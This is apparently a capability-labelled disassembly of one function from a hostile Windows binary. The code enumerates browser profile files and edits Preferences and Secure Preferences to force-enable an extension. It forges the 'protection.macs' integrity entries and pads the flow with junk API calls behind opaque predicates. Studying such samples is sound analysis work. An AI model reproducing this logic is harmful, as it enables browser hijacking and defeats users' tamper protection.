Function at 0x45713c
Capabilities:
Enumerate files on windows
Parse pe header

Disassembly:
push 0x440
mov eax, 0x4dead7
call fcn.004bb87f
mov edi, ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
mov dword [ebp - 0x418], ecx
push ecx
mov esi, ebx
mov ecx, edi
mov dword [ebp - 0x3a8], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c4], esi
call fcn.0046023a
push 0x4f1678
push dword [ebp - 0x3ac]
lea eax, [ebp - 0x3d8]
push eax
call fcn.00401e50
add esp, 0xc
lea ecx, [ebp - 0x39c]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, dword [ebp - 0x3d8]
add ecx, 0xfffffff0
mov dword [ebp - 0x3a4], eax
call fcn.00404c8b
cmp dword [ebp - 0x3a4], 0xffffffff
mov dword [ebp - 0x3ec], 3
je 0x457519
test byte [ebp - 0x39c], 0x10
je 0x457255
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0x430]
call fcn.00401855
push 0x4e845c
or esi, 1
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x3c4], esi
call fcn.0045589e
pop ecx
pop ecx
test al, al
je 0x457255
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00401855
push 0x4f1680
or esi, 2
push eax
mov dword [ebp - 4], 1
mov dword [ebp - 0x3c4], esi
call fcn.0045589e
pop ecx
pop ecx
mov byte [ebp - 0x39e], 1
test al, al
jne 0x45725b
mov byte [ebp - 0x39e], bl
mov eax, dword [ebp - 0x3c4]
test al, 2
je 0x457282
mov ecx, dword [ebp - 0x42c]
and eax, 0xfffffffd
lea ecx, [ecx - 0x10]
mov dword [ebp - 0x3c4], eax
call fcn.00404c8b
mov eax, dword [ebp - 0x3c4]
or dword [ebp - 4], 0xffffffff
test al, 1
je 0x4572a1
mov ecx, dword [ebp - 0x430]
and eax, 0xfffffffe
lea ecx, [ecx - 0x10]
mov dword [ebp - 0x3c4], eax
call fcn.00404c8b
cmp byte [ebp - 0x39e], 0
je 0x4574f8
lea eax, [ebp - 0x370]
push eax
lea ecx, [ebp - 0x43c]
call fcn.00401855
mov esi, eax
push 0x4e7718
push dword [ebp - 0x3ac]
lea eax, [ebp - 0x438]
push eax
mov dword [ebp - 4], 2
call fcn.00401e50
push esi
push eax
lea eax, [ebp - 0x3c0]
push eax
mov byte [ebp - 4], 3
call fcn.00401dfb
add esp, 0x18
mov ecx, dword [ebp - 0x438]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x43c]
mov byte [ebp - 4], 6
lea ecx, [ecx - 0x10]
call fcn.00404c8b
push dword [ebp - 0x3d4]
lea eax, [ebp - 0x3b4]
push eax
mov ecx, edi
call fcn.0045afe3
push dword [ebp - 0x3b4]
lea ecx, [edi + 0x7c]
push str.__BROWSER_NAME__
mov byte [ebp - 4], 7
call fcn.00404ca7
push str.binstaller.js
lea ecx, [ebp - 0x3e8]
call fcn.00401855
push str.jsli
lea ecx, [ebp - 0x3f0]
mov byte [ebp - 4], 8
call fcn.00401855
push 0x5311f0
lea ecx, [ebp - 0x3d0]
mov byte [ebp - 4], 9
call fcn.00401749
lea eax, [ebp - 0x3c0]
push eax
lea eax, [ebp - 0x3d0]
push eax
lea eax, [ebp - 0x414]
push eax
mov byte [ebp - 4], 0xa
call fcn.0044ced3
lea ecx, [ebp - 0x3f0]
push ecx
push eax
lea eax, [ebp - 0x434]
push eax
mov byte [ebp - 4], 0xb
call fcn.0044ced3
lea ecx, [ebp - 0x3e8]
push ecx
push eax
lea eax, [ebp - 0x3cc]
push eax
mov byte [ebp - 4], 0xc
call fcn.0044ced3
add esp, 0x24
push dword [ebp + 0x1c]
mov ecx, edi
push eax
mov byte [ebp - 4], 0xd
call fcn.0040545d
mov ecx, dword [ebp - 0x3cc]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x434]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x414]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3d0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3f0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3e8]
mov byte [ebp - 4], 7
lea ecx, [ecx - 0x10]
call fcn.00404c8b
push 0x5311f0
lea ecx, [ebp - 0x3c8]
call fcn.00401749
push 0x4f1700
lea eax, [ebp - 0x3c8]
push eax
lea eax, [ebp - 0x3b0]
push eax
mov byte [ebp - 4], 0xe
call fcn.00401e50
lea ecx, [ebp - 0x3b4]
push ecx
push eax
lea eax, [ebp - 0x3bc]
push eax
mov byte [ebp - 4], 0xf
call fcn.00401dfb
push 0x4f1700
push eax
lea eax, [ebp - 0x3b8]
push eax
mov byte [ebp - 4], 0x10
call fcn.00401e50
add esp, 0x24
push str.___BROWSER_NAME___
push dword [eax]
lea ecx, [edi + 0x7c]
mov byte [ebp - 4], 0x11
call fcn.00404ca7
mov ecx, dword [ebp - 0x3b8]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3bc]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3c8]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b4]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3c0]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.00404c8b
lea eax, [ebp - 0x39c]
push eax
push dword [ebp - 0x3a4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov esi, dword [ebp - 0x3c4]
test eax, eax
jne 0x4571e3
mov dword [ebp - 0x38], 0xf
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x4c], bl
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 4], 0x12
call fcn.004637f3
pop ecx
lea ecx, [ebp - 0xdc]
call fcn.00455797
lea eax, [ebp - 0x4c]
push eax
push dword [0x52cb10]
lea ecx, [ebp - 0xdc]
push 0x52cad0
mov byte [ebp - 4], 0x13
call fcn.0046462c
lea ecx, [ebp - 0x14c]
call fcn.0044d313
push ebx
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x14
call fcn.0044f5ec
push ebx
lea ecx, [ebp - 0x410]
mov byte [ebp - 4], 0x15
call fcn.0044f5ec
mov byte [ebp - 4], 0x16
mov byte [ebp - 0x39e], 1
mov dword [ebp - 0x3d0], 3
mov dword [ebp - 0x3f0], ebx
mov dword [ebp - 0x3cc], ebx
mov ebx, dword [ebp - 0x3d4]
lea eax, [ebp - 0x3f0]
push eax
push dword [ebx]
call fcn.004081e5
lea eax, [ebp - 0x3cc]
push eax
mov eax, dword [ebp - 0x3dc]
push dword [eax]
call fcn.004081e5
lea eax, [ebp - 0x3b4]
push ebx
push eax
call fcn.00408401
push dword [ebp - 0x3dc]
lea eax, [ebp - 0x3ac]
push eax
mov byte [ebp - 4], 0x17
call fcn.00408401
push 0x18
pop ecx
lea eax, [ebp - 0x3b0]
push eax
mov byte [ebp - 4], cl
call fcn.00409ceb
add esp, 0x24
push dword [eax]
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 4], 0x19
call fcn.004035cd
mov ecx, dword [ebp - 0x3b0]
mov ebx, eax
neg ebx
lea ecx, [ecx - 0x10]
sbb bl, bl
mov byte [ebp - 4], 0x18
call fcn.00404c8b
inc bl
je 0x457666
push 0x4f1704
lea ecx, [ebp - 0x3a4]
call fcn.00401855
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x3a4]
push eax
mov ecx, edi
call fcn.00405c09
mov ecx, dword [ebp - 0x3a4]
jmp 0x458759
mov eax, dword [ebp - 0x3b4]
cmp dword [eax - 0xc], 0
jne 0x457688
push str.read_preferences_for_enable_file_is_empty
lea ecx, [ebp - 0x3a4]
call fcn.00401855
mov byte [ebp - 4], 0x1b
jmp 0x45764d
lea eax, [ebp - 0x3bc]
push eax
call fcn.00409ceb
pop ecx
push dword [eax]
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 0x1c
call fcn.004035cd
mov ecx, dword [ebp - 0x3bc]
mov ebx, eax
neg ebx
lea ecx, [ecx - 0x10]
sbb bl, bl
mov byte [ebp - 4], 0x18
call fcn.00404c8b
inc bl
je 0x4576d4
lea ecx, [ebp - 0x3ac]
call fcn.0040370b
mov byte [ebp - 0x39e], 0
mov eax, dword [ebp - 0x3b4]
mov ecx, 0xa00000
cmp dword [eax - 0xc], ecx
jg 0x4586a2
mov eax, dword [ebp - 0x3ac]
cmp dword [eax - 0xc], ecx
jg 0x4586a2
lea eax, [ebp - 0x3b4]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.004650cb
pop ecx
pop ecx
push 1
lea ecx, [ebp - 0x400]
push ecx
push eax
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0x22
call fcn.0044e2a7
mov bl, al
neg bl
lea ecx, [ebp - 0x34]
sbb bl, bl
mov byte [ebp - 4], 0x18
call fcn.00401056
inc bl
je 0x45785f
push str.parse_preferences_for_enable
lea ecx, [ebp - 0x3a4]
call fcn.00401855
lea eax, [ebp - 0x3a4]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x23
call fcn.00405c09
mov ecx, dword [ebp - 0x3a4]
mov byte [ebp - 4], 0x18
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ebx, dword [ebp - 0x3d4]
and dword [ebp - 0x3c0], 0
lea eax, [ebp - 0x3c0]
push eax
push dword [ebx]
call fcn.004081e5
cmp dword [ebp - 0x3c0], 0
pop ecx
pop ecx
je 0x458761
push str.InstEnd
lea ecx, [ebp - 0x3c8]
call fcn.00401814
push str.parse_ch_pref_for_enable_file
lea ecx, [ebp - 0x3a4]
mov byte [ebp - 4], 0x24
call fcn.00401814
push str.SOFTWARE_
lea ecx, [ebp - 0x3b8]
mov byte [ebp - 4], 0x25
call fcn.00401814
mov ecx, eax
lea eax, [edi + 0x1c]
push eax
push ecx
lea eax, [ebp - 0x3bc]
push eax
mov byte [ebp - 4], 0x26
call fcn.00401dfb
lea ecx, [ebp - 0x3c8]
push ecx
push eax
lea eax, [ebp - 0x3b0]
push eax
mov byte [ebp - 4], 0x27
call fcn.00401dfb
push dword [0x52c1d8]
mov byte [ebp - 4], 0x28
push eax
push ebx
lea eax, [ebp - 0x3a4]
push eax
call fcn.004134ab
mov ecx, dword [ebp - 0x3b0]
add esp, 0x28
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3bc]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b8]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3a4]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3c8]
jmp 0x458759
mov eax, dword [ebp - 0x3ac]
cmp dword [eax - 0xc], 0
je 0x4578ae
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.004650cb
pop ecx
pop ecx
push 1
lea ecx, [ebp - 0x410]
push ecx
or esi, 4
push eax
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x3c4], esi
call fcn.0044e2a7
test al, al
jne 0x4578ae
mov byte [ebp - 0x39d], 1
xor ebx, ebx
jmp 0x4578b6
xor ebx, ebx
mov byte [ebp - 0x39d], bl
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 4], 0x18
test al, 4
je 0x4578d8
and eax, 0xfffffffb
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x3c4], eax
call fcn.00401056
cmp byte [ebp - 0x39d], 0
je 0x457a07
push str.parse_preferences2_for_enable
lea ecx, [ebp - 0x3a4]
call fcn.00401855
lea eax, [ebp - 0x3a4]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x2a
call fcn.00405c09
mov ecx, dword [ebp - 0x3a4]
mov byte [ebp - 4], 0x18
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov eax, dword [0x532ad4]
imul eax, eax
push 0x18
cdq
pop ecx
idiv ecx
cmp edx, 0x12
jne 0x457962
mov eax, dword [str.mzrUzyH]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x4f186c]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004bb070
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004b9bb1
push eax
call fcn.004baa14
add esp, 0xc
lea eax, [ebp - 0x3c0]
push eax
push dword [ebp - 0x3ac]
mov dword [ebp - 0x3c0], ebx
call fcn.004081e5
cmp dword [ebp - 0x3c0], 0
pop ecx
pop ecx
je 0x458761
push str.InstEnd
lea ecx, [ebp - 0x3c8]
call fcn.00401814
push str.parse_ch_pref2_for_enable_file
lea ecx, [ebp - 0x3a4]
mov byte [ebp - 4], 0x2b
call fcn.00401814
push str.SOFTWARE_
lea ecx, [ebp - 0x3b8]
mov byte [ebp - 4], 0x2c
call fcn.00401814
mov ecx, eax
lea eax, [edi + 0x1c]
push eax
push ecx
lea eax, [ebp - 0x3bc]
push eax
mov byte [ebp - 4], 0x2d
call fcn.00401dfb
lea ecx, [ebp - 0x3c8]
push ecx
push eax
lea eax, [ebp - 0x3b0]
push eax
mov byte [ebp - 4], 0x2e
call fcn.00401dfb
push dword [0x52c1d8]
mov byte [ebp - 4], 0x2f
push eax
lea eax, [ebp - 0x3ac]
push eax
jmp 0x45780d
mov esi, str.extensions
push esi
lea ecx, [ebp - 0x400]
call fcn.0044f936
mov ecx, eax
call fcn.00450627
test al, al
je 0x457a46
push str.settings
push esi
lea ecx, [ebp - 0x400]
call fcn.0044f936
mov ecx, eax
call fcn.0044f936
mov ecx, eax
call fcn.00450627
test al, al
jne 0x457a88
push esi
lea ecx, [ebp - 0x410]
call fcn.0044f936
mov ecx, eax
call fcn.00450627
test al, al
je 0x458522
push str.settings
push esi
lea ecx, [ebp - 0x410]
call fcn.0044f936
mov ecx, eax
call fcn.0044f936
mov ecx, eax
call fcn.00450627
test al, al
je 0x458522
lea eax, [ebp - 0x400]
push eax
mov ecx, edi
call fcn.004561f8
mov dword [ebp - 0x3c8], eax
lea eax, [ebp - 0x410]
push eax
mov ecx, edi
call fcn.004561f8
cmp dword [ebp - 0x3c8], 0
mov dword [ebp - 0x414], eax
je 0x4584ff
test eax, eax
je 0x4584ff
push ebx
lea ecx, [ebp - 0x428]
call fcn.0044f5ec
lea eax, [ebp - 0x428]
push eax
push dword [ebp - 0x18]
mov ecx, edi
push dword [ebp - 0x418]
mov byte [ebp - 4], 0x36
call fcn.0045e47f
test al, al
jne 0x457b04
lea ecx, [ebp - 0x428]
mov byte [ebp - 4], 0x18
call fcn.0044f795
jmp 0x45863f
push str.extensions.settings.
lea ecx, [ebp - 0x7c]
call fcn.00401027
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 4], 0x37
call fcn.004650cb
pop ecx
pop ecx
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x7c]
mov byte [ebp - 4], 0x38
call fcn.0040ce57
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x37
call fcn.00401056
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x94]
push eax
mov ecx, edi
call fcn.0045b128
push str.protection
lea ecx, [ebp - 0x400]
mov byte [ebp - 0x39d], bl
mov byte [ebp - 4], 0x3a
call fcn.0044f936
push str.macs
mov ecx, eax
call fcn.0044f936
push esi
mov ecx, eax
call fcn.0044f936
push str.settings
mov ecx, eax
call fcn.004505e5
test al, al
je 0x457c75
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x44c]
call fcn.0044f51c
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 4], 0x3b
call fcn.004650cb
pop ecx
pop ecx
mov dword [ebp - 0x3b8], eax
push str.protection
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x3c
call fcn.0044f936
push str.macs
mov ecx, eax
call fcn.0044f936
push esi
mov ecx, eax
call fcn.0044f936
push str.settings
mov ecx, eax
call fcn.0044f936
push dword [ebp - 0x3b8]
mov ecx, eax
call fcn.0044f847
lea ecx, [ebp - 0x44c]
push ecx
mov ecx, eax
call fcn.0044f7ef
lea ecx, [ebp - 0x34]
call fcn.00401056
lea ecx, [ebp - 0x44c]
mov byte [ebp - 4], 0x3a
call fcn.0044f795
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.004650cb
pop ecx
pop ecx
mov dword [ebp - 0x3b8], eax
push esi
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x3d
call fcn.0044f936
push str.settings
mov ecx, eax
call fcn.0044f936
push dword [ebp - 0x3b8]
jmp 0x457cb8
cmp byte [ebp - 0x39e], 0
jne 0x457ce0
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.004650cb
pop ecx
pop ecx
mov dword [ebp - 0x3b8], eax
push esi
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x3e
call fcn.0044f936
push str.settings
mov ecx, eax
call fcn.0044f936
push dword [ebp - 0x3b8]
mov ecx, eax
call fcn.0044f847
lea ecx, [ebp - 0x428]
push ecx
mov ecx, eax
call fcn.0044f7ef
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3a
call fcn.00401056
mov byte [ebp - 0x39d], 1
lea eax, [ebp - 0x400]
push eax
mov ecx, edi
call fcn.0045f086
jmp 0x457d0a
cmp byte [ebp - 0x39d], 0
mov esi, dword [ebp - 0x3d4]
mov dword [ebp - 4], 0x39
mov byte [ebp - 4], 0x40
jne 0x457e16
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x5c]
call fcn.0044f51c
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 4], 0x41
call fcn.004650cb
pop ecx
pop ecx
mov dword [ebp - 0x3b8], eax
push str.protection
lea ecx, [ebp - 0x410]
mov byte [ebp - 4], 0x42
call fcn.0044f936
push str.macs
mov ecx, eax
call fcn.0044f936
push str.extensions
mov ecx, eax
call fcn.0044f936
push str.settings
mov ecx, eax
call fcn.0044f936
push dword [ebp - 0x3b8]
mov ecx, eax
call fcn.0044f847
lea ecx, [ebp - 0x5c]
push ecx
mov ecx, eax
call fcn.0044f7ef
lea ecx, [ebp - 0x34]
call fcn.00401056
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x40
call fcn.0044f795
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.004650cb
pop ecx
pop ecx
mov dword [ebp - 0x3b8], eax
push str.extensions
lea ecx, [ebp - 0x410]
mov byte [ebp - 4], 0x43
call fcn.0044f936
push str.settings
mov ecx, eax
call fcn.0044f936
push dword [ebp - 0x3b8]
mov ecx, eax
call fcn.0044f847
lea ecx, [ebp - 0x428]
push ecx
mov ecx, eax
call fcn.0044f7ef
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x40
call fcn.00401056
lea eax, [ebp - 0x410]
push eax
mov ecx, edi
call fcn.0045f086
jmp 0x457e46
cmp dword [edi + 0xbc], 1
mov dword [ebp - 4], 0x39
jne 0x457ecf
lea eax, [ebp - 0x400]
push eax
mov ecx, edi
call fcn.00455a55
call fcn.00460d0a
test al, al
jne 0x457ecf
mov esi, ebx
call fcn.004bbc9b
movd xmm0, eax
cvtdq2pd xmm0, xmm0
inc esi
movsd qword [ebp + esi*8 - 0x35c], xmm0
cmp esi, 0x41
jb 0x457e6f
mov esi, dword [ebp - 0x3d4]
mov ecx, ebx
push 0x40
pop eax
cmp ecx, eax
jge 0x457ec9
movsd xmm0, qword [ebp + eax*8 - 0x354]
movsd xmm1, qword [ebp + eax*8 - 0x35c]
comisd xmm0, xmm1
jbe 0x457ec4
movsd qword [ebp + eax*8 - 0x354], xmm1
movsd qword [ebp + eax*8 - 0x35c], xmm0
dec eax
cmp eax, ecx
jg 0x457e9a
inc ecx
cmp ecx, 0x41
jl 0x457e93
lea eax, [ebp - 0x3e8]
push eax
push dword [esi]
mov dword [ebp - 0x3e8], ebx
mov dword [ebp - 0x3d8], ebx
call fcn.004081e5
lea eax, [ebp - 0x3d8]
push eax
push dword [ebp - 0x3ac]
call fcn.004081e5
mov ecx, dword [0x532ad4]
add esp, 0x10
lea edx, [ecx + 2]
lea eax, [ecx + 1]
imul eax, edx
imul eax, ecx
push 0x17
cdq
pop ecx
idiv ecx
cmp edx, 0xb
jne 0x457f26
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov eax, dword [ebp - 0x3e8]
cmp eax, dword [ebp - 0x3f0]
je 0x457fe4
mov eax, dword [ebp - 0x3d8]
cmp eax, dword [ebp - 0x3cc]
je 0x457fe4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x532ad4]
push 0x13
lea ecx, [eax + 1]
imul eax, ecx
cdq
pop ecx
idiv ecx
cmp edx, 0x10
jne 0x457f77
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea ecx, [ebp - 0x94]
call fcn.00401056
lea ecx, [ebp - 0x7c]
call fcn.00401056
lea ecx, [ebp - 0x428]
mov byte [ebp - 4], 0x18
call fcn.0044f795
mov ecx, dword [ebp - 0x3ac]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b4]
mov byte [ebp - 4], 0x16
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3ec]
mov esi, dword [ebp - 0x3c4]
mov eax, ecx
dec ecx
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x3d0], ecx
test eax, eax
jg 0x4575a0
mov esi, dword [ebp - 0x3d4]
jmp 0x458026
lea ecx, [ebp - 0x94]
call fcn.00401056
lea ecx, [ebp - 0x7c]
call fcn.00401056
lea ecx, [ebp - 0x428]
mov byte [ebp - 4], 0x18
call fcn.0044f795
mov ecx, dword [ebp - 0x3ac]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b4]
mov byte [ebp - 4], 0x16
lea ecx, [ecx - 0x10]
call fcn.00404c8b
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x400]
call fcn.00450ae2
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x45
jb 0x458041
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x3e4]
call fcn.00455589
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x47
call fcn.00401056
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x410]
call fcn.00450ae2
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x48
jb 0x458074
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x3e0]
call fcn.00455589
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x4a
call fcn.00401056
mov eax, dword [ebp - 0x3e4]
cmp dword [eax - 0xc], 0xa00000
jle 0x458460
push str.write_to_preferences_for_enable_too_big_
lea ecx, [ebp - 0x3b0]
call fcn.00401855
mov ecx, eax
mov eax, dword [ebp - 0x3e4]
mov byte [ebp - 4], 0x4b
push dword [eax - 0xc]
lea eax, [ebp - 0x18]
push ecx
push eax
call fcn.0044cf22
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0x4c
call fcn.00405c09
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b0]
mov byte [ebp - 4], 0x4a
lea ecx, [ecx - 0x10]
call fcn.00404c8b
lea eax, [ebp - 0x3a8]
push eax
push dword [esi]
mov dword [ebp - 0x3a8], ebx
call fcn.004081e5
cmp dword [ebp - 0x3a8], 0
pop ecx
pop ecx
je 0x4581dd
push str.InstEnd
lea ecx, [ebp - 0x3c0]
call fcn.00401814
push str.enable_extension_file_result_size
lea ecx, [ebp - 0x3a4]
mov byte [ebp - 4], 0x4d
call fcn.00401814
push str.SOFTWARE_
lea ecx, [ebp - 0x3bc]
mov byte [ebp - 4], 0x4e
call fcn.00401814
mov ecx, eax
lea eax, [edi + 0x1c]
push eax
push ecx
lea eax, [ebp - 0x3b0]
push eax
mov byte [ebp - 4], 0x4f
call fcn.00401dfb
lea ecx, [ebp - 0x3c0]
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 0x50
call fcn.00401dfb
push dword [0x52c1d8]
mov byte [ebp - 4], 0x51
push eax
lea eax, [ebp - 0x3a4]
push esi
push eax
call fcn.004134ab
mov ecx, dword [ebp - 0x18]
add esp, 0x28
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3bc]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3a4]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3c0]
mov byte [ebp - 4], 0x4a
lea ecx, [ecx - 0x10]
call fcn.00404c8b
call fcn.00460b22
test al, al
jne 0x4581fd
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenThread]
test eax, eax
jne 0x4581fd
mov dword [0x532ad4], 7
mov eax, dword [ebp - 0x3e0]
cmp dword [eax - 0xc], 0xa00000
jle 0x4584c0
push str.write_to_secure_preferences_for_enable_too_big_
lea ecx, [ebp - 0x3b0]
call fcn.00401855
mov ecx, eax
mov eax, dword [ebp - 0x3e0]
mov byte [ebp - 4], 0x53
push dword [eax - 0xc]
lea eax, [ebp - 0x18]
push ecx
push eax
call fcn.0044cf22
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0x54
call fcn.00405c09
mov ecx, dword [ebp - 0x18]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b0]
mov byte [ebp - 4], 0x4a
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov dword [ebp - 0x3cc], ebx
mov ebx, dword [ebp - 0x3dc]
lea eax, [ebp - 0x3cc]
push eax
push dword [ebx]
call fcn.004081e5
cmp dword [ebp - 0x3cc], 0
pop ecx
pop ecx
je 0x458354
push str.InstEnd
lea ecx, [ebp - 0x3a8]
call fcn.00401814
push str.enable_extension_secure_preferences_result_size
lea ecx, [ebp - 0x3d8]
mov byte [ebp - 4], 0x55
call fcn.00401814
push str.SOFTWARE_
lea ecx, [ebp - 0x3bc]
mov byte [ebp - 4], 0x56
call fcn.00401814
mov ecx, eax
lea eax, [edi + 0x1c]
push eax
push ecx
lea eax, [ebp - 0x3b0]
push eax
mov byte [ebp - 4], 0x57
call fcn.00401dfb
lea ecx, [ebp - 0x3a8]
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 0x58
call fcn.00401dfb
push dword [0x52c1d8]
mov byte [ebp - 4], 0x59
push eax
lea eax, [ebp - 0x3d8]
push ebx
push eax
call fcn.004134ab
mov ecx, dword [ebp - 0x18]
add esp, 0x28
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3b0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3bc]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3d8]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3a8]
mov byte [ebp - 4], 0x4a
lea ecx, [ecx - 0x10]
call fcn.00404c8b
cmp dword [ebp - 0x3c8], 1
je 0x45836a
cmp dword [ebp - 0x414], 1
jne 0x4583fd
push str.crxver
lea ecx, [ebp - 0x18]
call fcn.00401855
mov ecx, eax
lea eax, [edi + 0xac]
push eax
push ecx
lea eax, [ebp - 0x3d0]
push eax
mov byte [ebp - 4], 0x5b
call fcn.00401dfb
add esp, 0xc
mov ecx, dword [ebp - 0x18]
mov byte [ebp - 4], 0x5d
lea ecx, [ecx - 0x10]
call fcn.00404c8b
push 0x4e7ad0
push 0x4e73c8
lea ecx, [ebp - 0x3d0]
call fcn.00404ca7
push str.reenablecrx
lea ecx, [ebp - 0x3cc]
call fcn.00401855
lea eax, [ebp - 0x3d0]
push eax
lea eax, [ebp - 0x3cc]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x5e
call fcn.00405b83
mov ecx, dword [ebp - 0x3cc]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3d0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3e0]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
mov ecx, dword [ebp - 0x3e4]
lea ecx, [ecx - 0x10]
call fcn.00404c8b
lea ecx, [ebp - 0x410]
